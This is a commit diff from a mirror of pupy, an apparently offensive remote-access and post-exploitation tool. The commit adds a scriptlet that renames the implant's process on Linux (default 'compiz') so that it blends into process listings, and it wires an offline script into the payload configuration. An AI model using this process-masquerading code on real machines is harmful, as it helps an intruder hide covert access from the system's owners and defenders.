mirror of https://github.com/n1nj4sec/pupy.git
fix scriptlets
This commit is contained in:
parent
a92247a00e
commit
544dcb6339
|
@ -118,6 +118,7 @@ def get_raw_conf(conf, obfuscate=False):
|
|||
'import network.conf',
|
||||
'LAUNCHER={}'.format(repr(conf['launcher'])),
|
||||
'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
|
||||
offline_script
|
||||
])
|
||||
|
||||
return obf_func(config)
|
||||
|
|
|
@ -0,0 +1,27 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import textwrap, random, string
|
||||
from scriptlets import *
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" change pupy process's name """
|
||||
|
||||
dependencies=[("linux/all/pupystealth/change_argv.py","pupystealth.change_argv")]
|
||||
arguments={
|
||||
'name': 'ex: compiz'
|
||||
}
|
||||
|
||||
def __init__(self, name="compiz"):
|
||||
self.name=name
|
||||
|
||||
def generate(self):
|
||||
return textwrap.dedent("""
|
||||
import sys
|
||||
if sys.platform=="linux2":
|
||||
import pupystealth.change_argv
|
||||
pupystealth.change_argv.change_argv(argv={})
|
||||
""".format(repr(self.name)))
|
||||
|
||||
|
Loading…
Reference in New Issue